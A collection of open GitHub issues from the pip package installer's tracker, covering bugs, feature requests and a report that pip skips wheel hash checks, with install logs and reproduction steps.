Requirement already satisfied: plac<1.0.0,>=0.9.6 in /home/leonard/.local/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
Requirement already satisfied: pip<10.0.0,>=9.0.0 in /usr/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
Requirement already satisfied: six in /usr/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
Requirement already satisfied: pathlib in /home/leonard/.local/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
Requirement already satisfied: ujson>=1.35 in /usr/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
Requirement already satisfied: dill<0.3,>=0.2 in /home/leonard/.local/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
Requirement already satisfied: regex<2017.12.1,>=2017.4.1 in /home/leonard/.local/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
Requirement already satisfied: ftfy<5.0.0,>=4.4.2 in /home/leonard/.local/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
Requirement already satisfied: python-dateutil in /usr/lib64/python3.6/site-packages (from matplotlib->leezu-package==0.1.dev0)
Requirement already satisfied: pytz in /usr/lib64/python3.6/site-packages (from matplotlib->leezu-package==0.1.dev0)
Requirement already satisfied: cycler>=0.10 in /usr/lib64/python3.6/site-packages (from matplotlib->leezu-package==0.1.dev0)
Requirement already satisfied: pyparsing!=2.0.4,!=2.1.2,!=2.1.6,>=1.5.6 in /usr/lib64/python3.6/site-packages (from matplotlib->leezu-package==0.1.dev0)
Requirement already satisfied: python-utils>=2.1.0 in /home/leonard/.local/lib64/python3.6/site-packages (from progressbar2->leezu-package==0.1.dev0)
Requirement already satisfied: idna<2.7,>=2.5 in /home/leonard/.local/lib64/python3.6/site-packages (from requests->mxnet->leezu-package==0.1.dev0)
Requirement already satisfied: urllib3<1.23,>=1.21.1 in /usr/lib64/python3.6/site-packages (from requests->mxnet->leezu-package==0.1.dev0)
Requirement already satisfied: certifi>=2017.4.17 in /usr/lib64/python3.6/site-packages (from requests->mxnet->leezu-package==0.1.dev0)
Requirement already satisfied: chardet<3.1.0,>=3.0.2 in /usr/lib64/python3.6/site-packages (from requests->mxnet->leezu-package==0.1.dev0)
Requirement already satisfied: wrapt in /home/leonard/.local/lib64/python3.6/site-packages (from thinc<6.6.0,>=6.5.0->spacy->leezu-package==0.1.dev0)
Requirement already satisfied: tqdm<5.0.0,>=4.10.0 in /home/leonard/.local/lib64/python3.6/site-packages (from thinc<6.6.0,>=6.5.0->spacy->leezu-package==0.1.dev0)
Requirement already satisfied: cytoolz<0.9,>=0.8 in /home/leonard/.local/lib64/python3.6/site-packages (from thinc<6.6.0,>=6.5.0->spacy->leezu-package==0.1.dev0)
Requirement already satisfied: termcolor in /home/leonard/.local/lib64/python3.6/site-packages (from thinc<6.6.0,>=6.5.0->spacy->leezu-package==0.1.dev0)
Requirement already satisfied: wcwidth in /usr/lib64/python3.6/site-packages (from ftfy<5.0.0,>=4.4.2->spacy->leezu-package==0.1.dev0)
Requirement already satisfied: html5lib in /home/leonard/.local/lib64/python3.6/site-packages (from ftfy<5.0.0,>=4.4.2->spacy->leezu-package==0.1.dev0)
Requirement already satisfied: toolz>=0.8.0 in /home/leonard/.local/lib64/python3.6/site-packages (from cytoolz<0.9,>=0.8->thinc<6.6.0,>=6.5.0->spacy->leezu-package==0.1.dev0)
Installing collected packages: leezu-package
  Running setup.py develop for leezu-package
Successfully installed leezu-package

```


```

➜  package git:(master) ✗ pip install --user .                                                                                                                                <<<
Processing /home/leonard/projects/package
  Requirement already satisfied (use --upgrade to upgrade): leezu-package==0.1.dev0 from file:///home/leonard/projects/package in ./src
Requirement already satisfied: mxnet in /home/leonard/software/mxnet/python (from leezu-package==0.1.dev0)
Requirement already satisfied: numpy in /usr/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: addict in /home/leonard/.local/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: numba in /home/leonard/.local/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: pyyaml in /usr/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: spacy in /home/leonard/.local/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: en_core_web_sm in /home/leonard/.local/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: en_core_web_md in /home/leonard/.local/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: matplotlib in /usr/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: pandas in /usr/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: xarray in /home/leonard/.local/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: netCDF4 in /home/leonard/.local/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: progressbar2 in /home/leonard/.local/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: traitlets>=5.0.0.dev in /home/leonard/.local/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: singleton-decorator in /home/leonard/.local/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: visdom in /home/leonard/.local/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Collecting gitpython (from leezu-package==0.1.dev0)
  Using cached GitPython-2.1.7-py2.py3-none-any.whl
Requirement already satisfied: requests in /home/leonard/.local/lib64/python3.6/site-packages (from mxnet->leezu-package==0.1.dev0)
Requirement already satisfied: graphviz in /home/leonard/.local/lib64/python3.6/site-packages (from mxnet->leezu-package==0.1.dev0)
Requirement already satisfied: llvmlite in /usr/lib64/python3.6/site-packages (from numba->leezu-package==0.1.dev0)
Requirement already satisfied: murmurhash<0.27,>=0.26 in /home/leonard/.local/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
Requirement already satisfied: cymem<1.32,>=1.30 in /home/leonard/.local/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
Requirement already satisfied: preshed<2.0.0,>=1.0.0 in /home/leonard/.local/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
Requirement already satisfied: thinc<6.6.0,>=6.5.0 in /home/leonard/.local/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
Requirement already satisfied: plac<1.0.0,>=0.9.6 in /home/leonard/.local/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
Requirement already satisfied: pip<10.0.0,>=9.0.0 in /usr/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
Requirement already satisfied: six in /usr/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
Requirement already satisfied: pathlib in /home/leonard/.local/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
Requirement already satisfied: ujson>=1.35 in /usr/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
Requirement already satisfied: dill<0.3,>=0.2 in /home/leonard/.local/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
Requirement already satisfied: regex<2017.12.1,>=2017.4.1 in /home/leonard/.local/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
Requirement already satisfied: ftfy<5.0.0,>=4.4.2 in /home/leonard/.local/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
Requirement already satisfied: python-dateutil in /usr/lib64/python3.6/site-packages (from matplotlib->leezu-package==0.1.dev0)
Requirement already satisfied: pytz in /usr/lib64/python3.6/site-packages (from matplotlib->leezu-package==0.1.dev0)
Requirement already satisfied: cycler>=0.10 in /usr/lib64/python3.6/site-packages (from matplotlib->leezu-package==0.1.dev0)
Requirement already satisfied: pyparsing!=2.0.4,!=2.1.2,!=2.1.6,>=1.5.6 in /usr/lib64/python3.6/site-packages (from matplotlib->leezu-package==0.1.dev0)
Requirement already satisfied: python-utils>=2.1.0 in /home/leonard/.local/lib64/python3.6/site-packages (from progressbar2->leezu-package==0.1.dev0)
Requirement already satisfied: ipython_genutils in /usr/lib64/python3.6/site-packages (from traitlets>=5.0.0.dev->leezu-package==0.1.dev0)
Requirement already satisfied: decorator in /home/leonard/.local/lib64/python3.6/site-packages (from traitlets>=5.0.0.dev->leezu-package==0.1.dev0)
Requirement already satisfied: pillow in /usr/lib64/python3.6/site-packages (from visdom->leezu-package==0.1.dev0)
Requirement already satisfied: tornado in /home/leonard/.local/lib64/python3.6/site-packages (from visdom->leezu-package==0.1.dev0)
Requirement already satisfied: pyzmq in /usr/lib64/python3.6/site-packages (from visdom->leezu-package==0.1.dev0)
Requirement already satisfied: torchfile in /home/leonard/.local/lib64/python3.6/site-packages (from visdom->leezu-package==0.1.dev0)
Requirement already satisfied: gitdb2>=2.0.0 in /home/leonard/.local/lib64/python3.6/site-packages (from gitpython->leezu-package==0.1.dev0)
Requirement already satisfied: certifi>=2017.4.17 in /usr/lib64/python3.6/site-packages (from requests->mxnet->leezu-package==0.1.dev0)
Requirement already satisfied: chardet<3.1.0,>=3.0.2 in /usr/lib64/python3.6/site-packages (from requests->mxnet->leezu-package==0.1.dev0)
Requirement already satisfied: idna<2.7,>=2.5 in /home/leonard/.local/lib64/python3.6/site-packages (from requests->mxnet->leezu-package==0.1.dev0)
Requirement already satisfied: urllib3<1.23,>=1.21.1 in /usr/lib64/python3.6/site-packages (from requests->mxnet->leezu-package==0.1.dev0)
Requirement already satisfied: wrapt in /home/leonard/.local/lib64/python3.6/site-packages (from thinc<6.6.0,>=6.5.0->spacy->leezu-package==0.1.dev0)
Requirement already satisfied: tqdm<5.0.0,>=4.10.0 in /home/leonard/.local/lib64/python3.6/site-packages (from thinc<6.6.0,>=6.5.0->spacy->leezu-package==0.1.dev0)
Requirement already satisfied: cytoolz<0.9,>=0.8 in /home/leonard/.local/lib64/python3.6/site-packages (from thinc<6.6.0,>=6.5.0->spacy->leezu-package==0.1.dev0)
Requirement already satisfied: termcolor in /home/leonard/.local/lib64/python3.6/site-packages (from thinc<6.6.0,>=6.5.0->spacy->leezu-package==0.1.dev0)
Requirement already satisfied: html5lib in /home/leonard/.local/lib64/python3.6/site-packages (from ftfy<5.0.0,>=4.4.2->spacy->leezu-package==0.1.dev0)
Requirement already satisfied: wcwidth in /usr/lib64/python3.6/site-packages (from ftfy<5.0.0,>=4.4.2->spacy->leezu-package==0.1.dev0)
Requirement already satisfied: olefile in /usr/lib64/python3.6/site-packages (from pillow->visdom->leezu-package==0.1.dev0)
Requirement already satisfied: smmap2>=2.0.0 in /home/leonard/.local/lib64/python3.6/site-packages (from gitdb2>=2.0.0->gitpython->leezu-package==0.1.dev0)
Requirement already satisfied: toolz>=0.8.0 in /home/leonard/.local/lib64/python3.6/site-packages (from cytoolz<0.9,>=0.8->thinc<6.6.0,>=6.5.0->spacy->leezu-package==0.1.dev0)
Installing collected packages: gitpython
Successfully installed gitpython-2.1.7

```

user: leezu
labels: type: bug: A confirmed bug or unintended behavior
resolution: deferred till PR: Further discussion will happen when a PR is made
issue_4768: state: open
title: Speedup startup time
body: There's a lot to gain from speeding up pip's startup time.

For one, pip takes around 600ms to just print the completion text, which is laggy. (as mentioned in #4755). Further, faster startup time might help with the test-suite situation too.


user: pradyunsg
labels: type: enhancement: Improvements to functionality
issue_4757: state: open
title: pip install could complete local paths
body: `pip install <tab>` should autocomplete paths to local wheels (which are actually quite a pain to type manually) and possibly installable folders too.

xref https://github.com/pypa/pip/issues/3849#issuecomment-333663249

user: anntzer
labels: type: feature request: Request for a new feature
C: autocomplete: Autocompletion in shells (pip completion)
issue_4745: state: open
title: Add "never" option for ``--upgrade-strategy``
body: This would be a feature request to add a "never" option for ``--upgrade-strategy``.

My use case would be CI testing, where we require a few packages to be a certain version number (e.g. numpy), and would like to avoid accidentally upgrading them. The current 2 options I have would not cover my use case, e.g. ``pip install --no-deps`` would skip installing dependencies, and ``pip install --upgrade-strategy only-if-needed`` would upgrade pinned version rather than returning an incompatible versions, etc error message.

user: bsipocz
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_4736: state: open
title: When upgrading, only report changes
body: * Pip version: 9.0.1
* Python version: 3.5.4
* Operating system: Debian / PureOS

### Description:

    pip install -U -r requirements.txt

If there are no updates, I expect to see no output (or a message "No updates found.")

If there are updates, I expect to see just those updates.

If I'm feeling OCD, I expect to set a flag that shows me output for each package whether there is an update or not.

### What I've run:

As above. If there are no updates, I still get output for every package. This makes it difficult to quickly see if there are updates, and which packages were updated.
user: lofidevops
labels: type: enhancement: Improvements to functionality
UX: User experience related
UX: functionality research epic: Temporary label to link tickets to #8516
issue_4734: state: open
title: "directory is not empty" when installing a package via pip
body: * Pip version: 9.0.1
* Python version: 3.6
* Operating system: Windows 7

### Description:

When I install packages using pip, I am usually (but not always) getting exceptions that occur AFTER the message that the package was successfully installed. 

Please note that this is an Anaconda distribution, but I was running pip instead of conda nonetheless. This is on a work computer so I suppose it could be antivirus-related, but I don't have anything specific to suggest that. 

Potentially related issue here (https://github.com/pypa/pip/issues/2892) except that the directories in my case were not all that deep.
Another potentially related issue here (https://github.com/pypa/pip/issues/306) but I take it from the fact that the issue was closed that I may have encountered something new.

### What I've run:

> Microsoft Windows [Version 6.1.7601]
> Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
> 
> C:\Users\sdewey> pip install django
> Collecting django
>   Using cached Django-1.11.5-py2.py3-none-any.whl
> Requirement already satisfied: pytz in c:\users\sdewey\appdata\local\continuum\anaconda3\lib\site-packages (from django)
> 
> Installing collected packages: django
> Successfully installed django-1.11.5
> Exception:
> Traceback (most recent call last):
>   File "C:\Users\sdewey\AppData\Local\Continuum\Anaconda3\lib\shutil.py", line 391, in _rmtree_unsafe
>     os.rmdir(path)
> OSError: [WinError 145] The directory is not empty: 'C:\\Users\\sdewey\\AppData\\Local\\Temp\\pip-build-nr7rei3l\\django
> \\django\\contrib\\contenttypes\\locale\\id'
> 
> During handling of the above exception, another exception occurred:
> 
> Traceback (most recent call last):
>   File "C:\Users\sdewey\AppData\Local\Continuum\Anaconda3\lib\site-packages\pip\basecommand.py", line 215, in main
>     status = self.run(options, args)
>   File "C:\Users\sdewey\AppData\Local\Continuum\Anaconda3\lib\site-packages\pip\commands\install.py", line 385, in run
>     requirement_set.cleanup_files()
>   File "C:\Users\sdewey\AppData\Local\Continuum\Anaconda3\lib\site-packages\pip\utils\build.py", line 38, in __exit__
>     self.cleanup()
>   File "C:\Users\sdewey\AppData\Local\Continuum\Anaconda3\lib\site-packages\pip\utils\build.py", line 42, in cleanup
>     rmtree(self.name)
>   File "C:\Users\sdewey\AppData\Local\Continuum\Anaconda3\lib\site-packages\pip\_vendor\retrying.py", line 49, in wrappe
> d_f
>     return Retrying(*dargs, **dkw).call(f, *args, **kw)
>   File "C:\Users\sdewey\AppData\Local\Continuum\Anaconda3\lib\site-packages\pip\_vendor\retrying.py", line 212, in call
>     raise attempt.get()
>   File "C:\Users\sdewey\AppData\Local\Continuum\Anaconda3\lib\site-packages\pip\_vendor\retrying.py", line 247, in get
>     six.reraise(self.value[0], self.value[1], self.value[2])
>   File "C:\Users\sdewey\AppData\Local\Continuum\Anaconda3\lib\site-packages\pip\_vendor\six.py", line 686, in reraise
>     raise value
>   File "C:\Users\sdewey\AppData\Local\Continuum\Anaconda3\lib\site-packages\pip\_vendor\retrying.py", line 200, in call
>     attempt = Attempt(fn(*args, **kwargs), attempt_number, False)
>   File "C:\Users\sdewey\AppData\Local\Continuum\Anaconda3\lib\site-packages\pip\utils\__init__.py", line 102, in rmtree
>     onerror=rmtree_errorhandler)
>   File "C:\Users\sdewey\AppData\Local\Continuum\Anaconda3\lib\shutil.py", line 494, in rmtree
>     return _rmtree_unsafe(path, onerror)
>   File "C:\Users\sdewey\AppData\Local\Continuum\Anaconda3\lib\shutil.py", line 384, in _rmtree_unsafe
>     _rmtree_unsafe(fullname, onerror)
>   File "C:\Users\sdewey\AppData\Local\Continuum\Anaconda3\lib\shutil.py", line 384, in _rmtree_unsafe
>     _rmtree_unsafe(fullname, onerror)
>   File "C:\Users\sdewey\AppData\Local\Continuum\Anaconda3\lib\shutil.py", line 384, in _rmtree_unsafe
>     _rmtree_unsafe(fullname, onerror)
>   [Previous line repeated 2 more times]
>   File "C:\Users\sdewey\AppData\Local\Continuum\Anaconda3\lib\shutil.py", line 393, in _rmtree_unsafe
>     onerror(os.rmdir, path, sys.exc_info())
>   File "C:\Users\sdewey\AppData\Local\Continuum\Anaconda3\lib\site-packages\pip\utils\__init__.py", line 114, in rmtree_
> errorhandler
>     func(path)
> OSError: [WinError 145] The directory is not empty: 'C:\\Users\\sdewey\\AppData\\Local\\Temp\\pip-build-nr7rei3l\\django
> \\django\\contrib\\contenttypes\\locale\\id'
> 
user: eliot1785
labels: type: bug: A confirmed bug or unintended behavior
OS: windows: Windows specific
kind: crash: For situations where pip crashes
issue_4732: state: open
title: pip freeze with a hash
body: * Pip version: 9.0.1
* Python version: 3.5.4
* Operating system: Debian / PureOS

### Description:

**User story:** I am a Python developer with an existing `requirements.txt` file. I want to add hashes to the file, so that future installations are more secure.

### What I've run:

At the moment I need to:
* Locate the package.tar.gz or package.whl
* Run `pip hash /path/to/package`
* Copy the result into `requirements.txt`
* Repeat for every package

It would be great if instead I could:
* Run `pip freeze --hash`
* Get pip-formatted output with all package names and their hashes
* Copy the result into `requirements.txt`

### Today's solution:

[Pipfile](https://github.com/pypa/pipfile) is a replacement for requirements.txt that includes hashes in a file called `Pipfile.lock`.

[pipenv](https://github.com/pypa/pipenv) is a tool for managing your virtualenv based on `Pipfile`, including checks against the hashes defined in `Pipfile.lock`. (It can also convert a `requirements.txt` file.)

### Suggested solution:

Supporting Pipfile at the pip layer (rather than a higher-level tool) is on the PyPA roadmap, see https://github.com/pypa/pipfile#pip-integration-eventual : 

> pip will grow a new command line option, -p / --pipfile to install the versions as specified in a Pipfile, similar to its existing -r / --requirement argument for installing requirements.txt files.
> ...
> To manually update the Pipfile.lock:
>
> $ pip freeze -p different_pipfile
> different_pipfile.lock (73d81f) written to disk.

The implication is that this is the preferred solution to supporting hashes (rather than adding them to `requirements.txt` or `pip freeze`). The current status "Deferred till PR" (see this ticket). See also https://github.com/pypa/pip/issues/6925
user: lofidevops
labels: C: freeze: 'pip freeze' related
resolution: deferred till PR: Further discussion will happen when a PR is made
type: feature request: Request for a new feature
issue_4705: state: open
title: pip does not check hashes in wheel RECORD contents during installation
body: * Pip version: 9.0.1
* Python version: 2.7 and higher
* Operating system: Linux and likely others

### Description:

Currently, wheels that fail to install when handled by the `wheel` library or cli tool due to checksum failures are silently accepted by `pip`. This seems like a security issue, as pip will gladly and silently install crudely tampered wheels.

Per PEP-427, this hash verification should be happening every time the wheel is extracted for installation: https://www.python.org/dev/peps/pep-0427/#the-dist-info-directory

### What I've run:

demonstrating the malformed wheel failure with `wheel`:

```
[omerta ~]$ docker run --rm -i -t quay.io/pypa/manylinux1_x86_64 /bin/sh -i
sh-3.2# wget -q http://download.pytorch.org/whl/cu80/torch-0.2.0.post3-cp27-cp27mu-manylinux1_x86_64.whl
sh-3.2# /opt/python/cp27-cp27mu/bin/wheel install ./torch-0.2.0.post3-cp27-cp27mu-manylinux1_x86_64.whl --force
Traceback (most recent call last):
  File "/opt/python/cp27-cp27mu/bin/wheel", line 11, in <module>
    sys.exit(main())
  File "/opt/_internal/cpython-2.7.13-ucs4/lib/python2.7/site-packages/wheel/tool/__init__.py", line 356, in main
    args.func(args)
  File "/opt/_internal/cpython-2.7.13-ucs4/lib/python2.7/site-packages/wheel/tool/__init__.py", line 299, in install_f
    args.wheel_dirs, args.force, args.list_files)
  File "/opt/_internal/cpython-2.7.13-ucs4/lib/python2.7/site-packages/wheel/tool/__init__.py", line 221, in install
    wf.install(force=force)
  File "/opt/_internal/cpython-2.7.13-ucs4/lib/python2.7/site-packages/wheel/install.py", line 351, in install
    shutil.copyfileobj(source, destination)
  File "/opt/_internal/cpython-2.7.13-ucs4/lib/python2.7/shutil.py", line 49, in copyfileobj
    buf = fsrc.read(length)
  File "/opt/_internal/cpython-2.7.13-ucs4/lib/python2.7/zipfile.py", line 632, in read
    data = self.read1(n - len(buf))
  File "/opt/_internal/cpython-2.7.13-ucs4/lib/python2.7/zipfile.py", line 692, in read1
    self._update_crc(data, eof=eof)
  File "/opt/_internal/cpython-2.7.13-ucs4/lib/python2.7/site-packages/wheel/install.py", line 463, in _update_crc
    raise BadWheelFile("Bad hash for file %r" % ef.name)
wheel.install.BadWheelFile: Bad hash for file 'torch/lib/libTHS.so.1'
```

vs `pip` behavior:

```
[omerta pants (master)]$ docker run --rm -i -t quay.io/pypa/manylinux1_x86_64 /bin/sh -i
sh-3.2# /opt/python/cp27-cp27mu/bin/pip --version
pip 9.0.1 from /opt/_internal/cpython-2.7.13-ucs4/lib/python2.7/site-packages (python 2.7)
sh-3.2# /opt/python/cp27-cp27mu/bin/pip install http://download.pytorch.org/whl/cu80/torch-0.2.0.post3-cp27-cp27mu-manylinux1_x86_64.whl
Collecting torch==0.2.0.post3 from http://download.pytorch.org/whl/cu80/torch-0.2.0.post3-cp27-cp27mu-manylinux1_x86_64.whl
  Downloading http://download.pytorch.org/whl/cu80/torch-0.2.0.post3-cp27-cp27mu-manylinux1_x86_64.whl (487.1MB)
    100% |████████████████████████████████| 487.1MB 44.7MB/s 
Collecting numpy (from torch==0.2.0.post3)
  Downloading numpy-1.13.1-cp27-cp27mu-manylinux1_x86_64.whl (16.6MB)
    100% |████████████████████████████████| 16.6MB 88kB/s 
Collecting pyyaml (from torch==0.2.0.post3)
  Downloading PyYAML-3.12.tar.gz (253kB)
    100% |████████████████████████████████| 256kB 4.9MB/s 
Building wheels for collected packages: pyyaml
  Running setup.py bdist_wheel for pyyaml ... done
  Stored in directory: /root/.cache/pip/wheels/2c/f7/79/13f3a12cd723892437c0cfbde1230ab4d82947ff7b3839a4fc
Successfully built pyyaml
Installing collected packages: numpy, pyyaml, torch
Successfully installed numpy-1.13.1 pyyaml-3.12 torch-0.2.0.post3
sh-3.2# find /opt |grep -i torch/lib/libTHS.so.1
/opt/_internal/cpython-2.7.13-ucs4/lib/python2.7/site-packages/torch/lib/libTHS.so.1
```

user: kwlzn
labels: type: bug: A confirmed bug or unintended behavior
type: security: Has potential security implications
state: awaiting PR: Feature discussed, PR is needed
issue_4689: state: open
title: pip should properly uninstall pkgutil namespace packages
body: pip currently uninstalls `__init__.py` for pkgutil namespace packages, even when there are multiple packages that are installed for the same namespace; breaking it.

An example test-case for this is there in #4504.

user: pradyunsg
labels: type: feature request: Request for a new feature
issue_4688: state: open
title: `pip install -e` does not treat a conda environment like a proper virtualenv.
body: * Pip version: 9.0.1
* Python version: 3.6.2
* Operating system: Raspbian Jessie

### Description:

I wanted to install some packages in editable mode (`pip install -e`) in a conda environment. I expected the source files to appear in `<env name>/src`, but they ended up in the current working directory.

### What I've run:

You can see the details in the corresponding conda ticket (https://github.com/conda/conda/issues/5861).

I'm cross posting the issue so that both project teams are aware and can discuss what's the best approach to resolve this.
user: ksze
labels: type: bug: A confirmed bug or unintended behavior
state: needs discussion: This needs some more discussion
issue_4670: state: open
title: pip uninstall removes system scripts that have the same name
body: * Pip version: 9.0.1
* Python version: 3.5.2
* Operating system: Ubuntu, 16.04

### Description:
I have installed a python package by pip install.
This package contains a tool defined in  `console_scripts` of setup.py named `find` (Yes, same name with "gnu find").
However when I remove the package by pip uninstall, **I found the "console_scripts find "
(locate in `/usr/local/bin`) was removed not only, but also "gnu find" (locate in `/usr/bin`)  did!**

Other exec files with same name like `head`, `tail` are same issue.
It looks that any exec file with same name  in `$PATH` will be removed.
### What I've run:
```
pip3 install minghu6
pip3 uninstall minghu6
```

user: minghu6
labels: type: bug: A confirmed bug or unintended behavior
C: uninstall: The logic for uninstallation of packages
issue_4659: state: open
title: Moving off optparse
body: @pypa/pip-committers Thoughts on switching over to using argparse or even click for option parsing?

user: pradyunsg
labels: type: enhancement: Improvements to functionality
type: maintenance: Related to Development and Maintenance Processes
state: awaiting PR: Feature discussed, PR is needed
C: cli: Command line interface related things (optparse, option grouping etc)
issue_4649: state: open
title: Redesigning pip's output (for install, wheel and download commands)
body: I have written <https://gist.github.com/pradyunsg/6eb63fa4571a9723f4d42166e8abb417> as kind of a proposal. :)

Thoughts @pypa/pip-committers?
user: pradyunsg
labels: type: enhancement: Improvements to functionality
kind: backwards incompatible: Would be backward incompatible
state: needs discussion: This needs some more discussion
UX: User experience related
UX: functionality research epic: Temporary label to link tickets to #8516
issue_4648: state: open
title: `__requires__` directive in `setup.py` is not honored
body: * Pip version: [9.0.1-464-g573a5011](https://github.com/pypa/pip/tree/573a50118148ff4646ae9310730f5bf6c4e8784f)
* Python version: Python 3.6.2
* Operating system: Arch Linux x86_64

### Description:

Because of the [shim](https://github.com/pypa/pip/blob/403e398330c8e841e4633aceda859430f5f7b913/pip/utils/setuptools_build.py#L1) used to wrap setuptools invocations, `__requires__` is ignored. 

### What I've run:

```bash
> tmpdir="$(mktemp -d)"
> trap "cd - && rm -rf $tmpdir" EXIT
> cd "$tmpdir"
> python -m venv venv
> export PATH="$PWD/venv/bin:$PATH"
> pip install -q -U setuptools wheel pip python-xlib https://github.com/pypa/pip/archive/573a50118148ff4646ae9310730f5bf6c4e8784f.zip
pip freeze --all
pip==9.0.1
python-xlib==0.19
setuptools==36.2.7
six==1.10.0
wheel==0.29.0
> >setup.py <<\EOF
__requires__ = ['python-xlib']
from setuptools import setup
setup(name='project', version='0.1')
EOF
> python setup.py -q sdist
warning: sdist: standard file not found: should have one of README, README.rst, README.txt

warning: check: missing required meta-data: url

warning: check: missing meta-data: either (author and author_email) or (maintainer and maintainer_email) must be supplied

> pip uninstall -qy python-xlib
# The following command should fail..
> pip install --no-cache dist/project-0.1.tar.gz
Processing ./dist/project-0.1.tar.gz
Installing collected packages: project
  Running setup.py install for project ... done
Successfully installed project-0.1
# ...like this one.
> python setup.py --name
Traceback (most recent call last):
  File "setup.py", line 2, in <module>
    from setuptools import setup
  File "/tmp/tmp.d0Te1R6xhq/venv/lib/python3.6/site-packages/setuptools/__init__.py", line 10, in <module>
    from setuptools.extern.six.moves import filter, map
  File "/tmp/tmp.d0Te1R6xhq/venv/lib/python3.6/site-packages/setuptools/extern/__init__.py", line 1, in <module>
    from pkg_resources.extern import VendorImporter
  File "/tmp/tmp.d0Te1R6xhq/venv/lib/python3.6/site-packages/pkg_resources/__init__.py", line 3049, in <module>
    @_call_aside
  File "/tmp/tmp.d0Te1R6xhq/venv/lib/python3.6/site-packages/pkg_resources/__init__.py", line 3033, in _call_aside
    f(*args, **kwargs)
  File "/tmp/tmp.d0Te1R6xhq/venv/lib/python3.6/site-packages/pkg_resources/__init__.py", line 3062, in _initialize_master_working_set
    working_set = WorkingSet._build_master()
  File "/tmp/tmp.d0Te1R6xhq/venv/lib/python3.6/site-packages/pkg_resources/__init__.py", line 658, in _build_master
    ws.require(__requires__)
  File "/tmp/tmp.d0Te1R6xhq/venv/lib/python3.6/site-packages/pkg_resources/__init__.py", line 972, in require
    needed = self.resolve(parse_requirements(requirements))
  File "/tmp/tmp.d0Te1R6xhq/venv/lib/python3.6/site-packages/pkg_resources/__init__.py", line 858, in resolve
    raise DistributionNotFound(req, requirers)
pkg_resources.DistributionNotFound: The 'python-xlib' distribution was not found and is required by the application
```

user: benoit-pierre
labels: type: bug: A confirmed bug or unintended behavior
project: setuptools: Related to setuptools
issue_4646: state: open
title: "No matching distribution found" is confusing when unsupported bzip2 package is actually available
body: * Pip version: 9.0.1
* Python version: 3.6.2
* Operating system: Ubuntu

I ran `pip install Twisted` and got this error message:

```
  Could not find a version that satisfies the requirement Twisted (from versions: )
Cleaning up...
No matching distribution found for Twisted
```

@dstufft figured out that my problem is that I built I python without bzip support.  The error message above should say "I found Twisted, but you and your lame-ass Python can't have it because no bzip" (feel free to rephrase that) instead of telling me that there's no Twisted to be had, which is kinda confusing.

user: wsanchez
labels: type: bug: A confirmed bug or unintended behavior
state: awaiting PR: Feature discussed, PR is needed
UX: User experience related
C: error messages: Improving error messages
issue_4625: state: open
title: pip overwrites existing files unconditionally during installation
body: * Pip version: any (tested on 1.5.4 and 9.0.1)

* Python version: any (tested on 2.7.6 and 3.4.3)

* Operating system: Should be OS independent (tested on Ubuntu 14.04.5 and Mint 17.3)

### Description:

I'm installing packages with with `pip`, and it happens that some of these packages (with different names) have files with name clashes. Unfortunately, `pip` silently ignores the issue and the results depend on the order in which the installs happens. In an ideal world, I would expect this to be impossible, i.e. to force the package maintainer to use a unique namespace. As a (far worse, but better than current behavior) second choice, I would expect `pip` to warn the user before silently overwriting existing files, **especially** if `pip` itself installed those files.

### What I've run:

Create a clean slate to work on:

```
/tmp $ virtualenv NAMECLASH
New python executable in NAMECLASH/bin/python
Installing setuptools, pip...done.
/tmp $ cd NAMECLASH
/tmp/NAMECLASH $ source bin/activate
(NAMECLASH)/tmp/NAMECLASH $ pip show -f pyjwt
(NAMECLASH)/tmp/NAMECLASH $ pip show -f jwt
(NAMECLASH)/tmp/NAMECLASH $ 
```

Install packages:

```
(NAMECLASH)/tmp/NAMECLASH $ pip install jwt
Downloading/unpacking jwt
  Downloading jwt-0.5.2.tar.gz
  Running setup.py (path:/tmp/NAMECLASH/build/jwt/setup.py) egg_info for package jwt
    
Downloading/unpacking cryptography==1.7.2 (from jwt)
  Downloading cryptography-1.7.2.tar.gz (420kB): 420kB downloaded
  Running setup.py (path:/tmp/NAMECLASH/build/cryptography/setup.py) egg_info for package cryptography
...
